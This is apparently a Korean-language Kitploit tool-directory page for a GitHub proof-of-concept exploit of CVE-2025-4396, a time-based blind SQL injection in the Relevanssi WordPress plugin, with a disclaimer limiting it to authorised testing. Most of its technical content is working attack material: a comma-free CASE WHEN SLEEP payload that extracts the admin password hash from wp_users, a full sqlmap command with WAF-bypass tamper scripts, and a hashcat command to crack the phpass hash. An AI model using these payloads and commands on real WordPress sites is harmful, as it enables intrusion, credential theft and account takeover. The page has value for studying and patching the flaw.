Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4396 — CVE-2025-4396 - WordPress Relevanssi 시간 기반 블라인드 SQL 인젝션 | Kitploit
도구/GitHubGitHub/sup3rdav3/cve-2025-4396
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubsup3rdav3/cve-2025-4396

CVE-2025-4396

CVE-2025-4396 - WordPress Relevanssi 시간 기반 블라인드 SQL 인젝션

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-4396 — Relevanssi SQL 인젝션 (시간 기반 블라인드)

면책 조항: 이 저장소는 승인된 침투 테스트, 보안 연구 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.


개요

Relevanssi 4.24.4 WordPress 플러그인의 시간 기반 블라인드 SQL 인젝션 취약점에 대한 개념 증명 익스플로잇입니다. 이 구현은 다음과 같은 강화된 환경을 특별히 다룹니다:

  • 쉼표가 필터링됨 — 표준 SUBSTR(str, pos, len) 및 IF(cond, true, false) 구문을 깨뜨림
  • 탐욕적 sleep 동작 — MySQL이 전체 표현식을 평가하기 전에 SLEEP()를 실행하여 오탐(false positive)을 발생시킴

배경

특정 환경(예: DVWP 랩)에서는 표준 SQL 인젝션 페이로드가 두 가지 주요 이유로 실패합니다:

문제영향
쉼표 제거SUBSTR(str, pos, len) 및 IF(cond, true, false) 구문을 깨뜨림
탐욕적 SLEEP()MySQL이 전체 부울 표현식보다 먼저 sleep을 평가하여 오탐(false positive)을 유발함

두 문제 모두 맞춤형 우회 방법이 필요합니다 — 아래의 수동 및 자동 접근 방식에서 다룹니다.


수동 익스플로잇 (asy.py)

문자 단위의 정밀한 추출을 제공하는 비동기 Python 스크립트입니다. 자동화 도구의 오버헤드를 피하고 CASE WHEN 로직을 통해 쉼표 필터링을 우회합니다.

기능

기능구현
비동기 I/Oaiohttp를 사용한 비차단 요청
쉼표 없는 페이로드SUBSTR(str FROM pos FOR len) 구문

핵심 인젝션 로직

root@kitploit:~
# 쉼표 없는 CASE WHEN 기반 시간 기반 페이로드
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"

IF() 대신 CASE WHEN을 사용하는 이유는 무엇인가? IF()는 쉼표를 사용하며 탐욕적 평가의 영향을 받습니다. CASE WHEN은 지연 평가를 수행하므로 SLEEP()는 조건이 실제로 TRUE일 때만 트리거됩니다.


자동 익스플로잇 (SQLMap)

SQLMap은 특정 tamper 스크립트와 플래그를 사용하여 이 환경에서 자동으로 탐지를 수행할 수 있습니다.

명령어

root@kitploit:~
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
  --tamper=commalessmid,if2case,between \
  --technique=T \
  --dbms=MySQL \
  --no-cast \
  --batch \
  --threads=1 \
  --dbs

플래그 참조

--threads=1에 대한 참고 사항: 이는 안정적인 추출에 필수적입니다. 여러 스레드는 sleep 지연이 중첩되어 이진 탐색 타이밍을 손상시키고 왜곡된 출력을 생성합니다.


랩 결과

필드값
대상WordPress wp_users 테이블

해시 크랙

root@kitploit:~
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • **모드 -m 400**은 phpass 해시를 대상으로 함
  • **공격 -a 0**은 rockyou.txt를 사용하는 일반 사전 공격임

참고 자료

  • Relevanssi 플러그인 — WordPress.org
  • SQLMap Tamper 스크립트
  • OWASP: 블라인드 SQL 인젝션
  • phpass — 비밀번호 해싱 프레임워크
도구 다운로드
비탐욕적 로직CASE WHEN은 TRUE일 때만 SLEEP()가 실행되도록 보장
플래그용도
--tamper=commalessmid,if2case페이로드를 쉼표 없는 SQL로 재작성하고 IF()를 CASE WHEN으로 대체
--tamper=between> 비교를 BETWEEN으로 대체하여 추가 WAF 우회
--technique=T시간 기반 블라인드 인젝션으로만 제한
--no-cast쉼표를 유발하는 CAST() 래퍼를 방지
--threads=1타이밍 정확도 보장 — 동시 요청은 sleep 지연을 중첩시킴
사용자admin (ID = 1)
추출된 해시REDACTED
알고리즘phpass (표준 WordPress 비밀번호 해싱)